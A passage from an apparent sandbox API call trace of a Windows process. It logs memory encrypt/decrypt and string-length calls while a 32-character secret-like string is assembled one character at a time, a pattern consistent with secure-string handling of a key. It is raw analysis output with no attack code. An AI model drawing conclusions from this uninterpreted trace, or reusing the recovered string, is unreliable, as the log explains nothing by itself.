[3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.923] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.923] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.923] SysStringLen (param_1="") returned 0x8 [0124.923] SysStringLen (param_1="F") returned 0x8 [0124.923] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.923] SysStringLen (param_1="\x5c29\x23ea\xf370\xdccd\xd139\xc786\x15d8\xc7a8") returned 0x8 [0124.924] SysStringLen (param_1="\x5c29\x23ea\xf370\xdccd\xd139\xc786\x15d8\xc7a8") returned 0x8 [0124.924] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="Fl") returned 0x8 [0124.924] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="\x9a3b\x1acc\x87b0\x8c14\xe264\xe808\xbb5\x8002") returned 0x8 [0124.924] SysStringLen (param_1="\x9a3b\x1acc\x87b0\x8c14\xe264\xe808\xbb5\x8002") returned 0x8 [0124.924] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="FlH") returned 0x8 [0124.924] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="\x6a6e\xe681\xfea7\x21b3\xdc2c\x58cd\x18db\xd5f8") returned 0x8 [0124.924] SysStringLen (param_1="\x6a6e\xe681\xfea7\x21b3\xdc2c\x58cd\x18db\xd5f8") returned 0x8 [0124.924] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="FlHa") returned 0x8 [0124.924] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="\x6128\x9a00\xb7c6\x4a64\x35e4\x8d61\xd0f2\xe9bb") returned 0x8 [0124.924] SysStringLen (param_1="\x6128\x9a00\xb7c6\x4a64\x35e4\x8d61\xd0f2\xe9bb") returned 0x8 [0124.924] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="FlHaS") returned 0x8 [0124.924] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="\x77ea\x7fe2\x3aa9\xc4b5\x1bf8\xc36f\x6218\x239c") returned 0x8 [0124.924] SysStringLen (param_1="\x77ea\x7fe2\x3aa9\xc4b5\x1bf8\xc36f\x6218\x239c") returned 0x8 [0124.924] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.924] SysStringLen (param_1="FlHaSA") returned 0x8 [0124.924] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.925] SysStringLen (param_1="\x4b0e\xd9f\x7f4d\x4867\xfa48\x8508\xb9f0\x83a8") returned 0x8 [0124.925] SysStringLen (param_1="\x4b0e\xd9f\x7f4d\x4867\xfa48\x8508\xb9f0\x83a8") returned 0x8 [0124.925] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.925] SysStringLen (param_1="FlHaSAK") returned 0x8 [0124.925] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.925] SysStringLen (param_1="\x8761\xff4d\xecba\xf0c0\xd14d\xb5b\xa64b\x110e") returned 0x8 [0124.925] SysStringLen (param_1="\x8761\xff4d\xecba\xf0c0\xd14d\xb5b\xa64b\x110e") returned 0x8 [0124.925] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.925] SysStringLen (param_1="FlHaSAKN") returned 0x8 [0124.925] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.925] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f") returned 0x8 [0124.925] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f") returned 0x8 [0124.925] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f") returned 0x8 [0124.925] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f") returned 0x10 [0124.925] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.925] SysStringLen (param_1="FlHaSAKNT錂绰妜Ú㸓啜") returned 0x10 [0124.925] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.925] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\x3702\x575d\x82fe\x19d0\x8720\xe81d\xae61\xb309") returned 0x10 [0124.925] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\x3702\x575d\x82fe\x19d0\x8720\xe81d\xae61\xb309") returned 0x10 [0124.925] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.925] SysStringLen (param_1="FlHaSAKNTa绰妜Ú㸓啜") returned 0x10 [0124.925] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.925] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xda9f\x28d7\xccda\xde1c\x4ff7\x5837\xd150\x81a6") returned 0x10 [0124.926] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xda9f\x28d7\xccda\xde1c\x4ff7\x5837\xd150\x81a6") returned 0x10 [0124.926] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.926] SysStringLen (param_1="FlHaSAKNTaK妜Ú㸓啜") returned 0x10 [0124.926] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.926] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xf7ac\x5532\xd33b\x696c\xa16f\x4da2\x66a8\xe63c") returned 0x10 [0124.926] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xf7ac\x5532\xd33b\x696c\xa16f\x4da2\x66a8\xe63c") returned 0x10 [0124.926] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="FlHaSAKNTaK2Ú㸓啜") returned 0x10 [0124.927] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xa3a0\x4e8e\xcad7\xc10a\xc862\xb320\x5d98\x6f08") returned 0x10 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xa3a0\x4e8e\xcad7\xc10a\xc862\xb320\x5d98\x6f08") returned 0x10 [0124.927] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="FlHaSAKNTaK2L㸓啜") returned 0x10 [0124.927] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\x96fb\x1ee2\xd46b\x7251\xa018\x99a2\xea23\x59d4") returned 0x10 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\x96fb\x1ee2\xd46b\x7251\xa018\x99a2\xea23\x59d4") returned 0x10 [0124.927] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="FlHaSAKNTaK2L1㸓啜") returned 0x10 [0124.927] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\x1488\x210e\xb338\x8bbe\x2993\x3d7d\x3c93\x5e38") returned 0x10 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\x1488\x210e\xb338\x8bbe\x2993\x3d7d\x3c93\x5e38") returned 0x10 [0124.927] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="FlHaSAKNTaK2L1h啜") returned 0x10 [0124.927] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xc600\xedac\x7beb\x5ec7\x47bf\x76\x81c0\x2a4a") returned 0x10 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xc600\xedac\x7beb\x5ec7\x47bf\x76\x81c0\x2a4a") returned 0x10 [0124.927] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="FlHaSAKNTaK2L1hn") returned 0x10 [0124.927] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4") returned 0x10 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4") returned 0x10 [0124.927] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4") returned 0x10 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4") returned 0x18 [0124.928] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="FlHaSAKNTaK2L1hni詝ء簉♷鉊㠧") returned 0x18 [0124.928] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x6e4b\xb88d\x3e2\x977e\x7766\x2224\xc664\xf51b") returned 0x18 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x6e4b\xb88d\x3e2\x977e\x7766\x2224\xc664\xf51b") returned 0x18 [0124.928] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="FlHaSAKNTaK2L1hniTء簉♷鉊㠧") returned 0x18 [0124.928] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x5536\xa00a\x6766\x89a7\x85a8\x2c86\x1d07\xfdf0") returned 0x18 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x5536\xa00a\x6766\x89a7\x85a8\x2c86\x1d07\xfdf0") returned 0x18 [0124.928] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpء簉♷鉊㠧") returned 0x18 [0124.928] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x8766\xb9f6\x7a28\xa93c\x2ecc\x9aef\xc9e5\xf120") returned 0x18 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x8766\xb9f6\x7a28\xa93c\x2ecc\x9aef\xc9e5\xf120") returned 0x18 [0124.928] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpi簉♷鉊㠧") returned 0x18 [0124.928] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x7088\x138c\x1a4\x2a32\x269e\x46cf\xa6c4\x6109") returned 0x18 [0124.928] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x7088\x138c\x1a4\x2a32\x269e\x46cf\xa6c4\x6109") returned 0x18 [0124.929] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiO♷鉊㠧") returned 0x18 [0124.929] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x3332\xdb11\xacf1\xb2f\x2c82\x25d9\x60fb\xaab7") returned 0x18 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\x3332\xdb11\xacf1\xb2f\x2c82\x25d9\x60fb\xaab7") returned 0x18 [0124.929] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOG鉊㠧") returned 0x18 [0124.929] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xb2ae\x7a83\xcefc\xc4c9\x7f4\x7668\xa6c1\x5d9f") returned 0x18 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xb2ae\x7a83\xcefc\xc4c9\x7f4\x7668\xa6c1\x5d9f") returned 0x18 [0124.929] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGM㠧") returned 0x18 [0124.929] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xf5f8\x5791\x2b1e\x88ad\xadba\xce92\x2277\x30f5") returned 0x18 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xf5f8\x5791\x2b1e\x88ad\xadba\xce92\x2277\x30f5") returned 0x18 [0124.929] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMo") returned 0x18 [0124.929] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196") returned 0x18 [0124.929] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196") returned 0x18 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196") returned 0x18 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196") returned 0x20 [0124.930] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok켳䛜㽆阥끔煅") returned 0x20 [0124.930] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x573c\x3af8\x62ae\x3d02\xff3d\xbdd4\xebdc\xee98") returned 0x20 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x573c\x3af8\x62ae\x3d02\xff3d\xbdd4\xebdc\xee98") returned 0x20 [0124.930] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8켳䛜㽆阥끔煅") returned 0x20 [0124.930] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\xcf10\x1156\x915a\xc4b\xc7a\x3ec\xe12d\x669b") returned 0x20 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\xcf10\x1156\x915a\xc4b\xc7a\x3ec\xe12d\x669b") returned 0x20 [0124.930] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8w䛜㽆阥끔煅") returned 0x20 [0124.930] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x1e6\x152\xbd16\x7638\xd547\xc066\x2432\x8a0e") returned 0x20 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x1e6\x152\xbd16\x7638\xd547\xc066\x2432\x8a0e") returned 0x20 [0124.930] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh㽆阥끔煅") returned 0x20 [0124.930] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x90f0\xe95c\xb67f\x504f\xd13a\xb974\x2342\x9fb2") returned 0x20 [0124.930] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x90f0\xe95c\xb67f\x504f\xd13a\xb974\x2342\x9fb2") returned 0x20 [0124.931] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2阥끔煅") returned 0x20 [0124.931] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x6331\x4881\x21d5\x8373\xef71\x8b17\x6d3f\x564a") returned 0x20 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x6331\x4881\x21d5\x8373\xef71\x8b17\x6d3f\x564a") returned 0x20 [0124.931] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2R끔煅") returned 0x20 [0124.931] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x9eaa\x78e8\xedb2\xe8a9\xe5e5\xb185\x724b\x3adb") returned 0x20 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x9eaa\x78e8\xedb2\xe8a9\xe5e5\xb185\x724b\x3adb") returned 0x20 [0124.931] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZ煅") returned 0x20 [0124.931] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\xccb3\xe30f\xc230\x224b\xb29\x829b\xc5ce\xe940") returned 0x20 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\xccb3\xe30f\xc230\x224b\xb29\x829b\xc5ce\xe940") returned 0x20 [0124.931] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZb") returned 0x20 [0124.931] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e") returned 0x20 [0124.931] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e") returned 0x20 [0124.931] SysStringLen 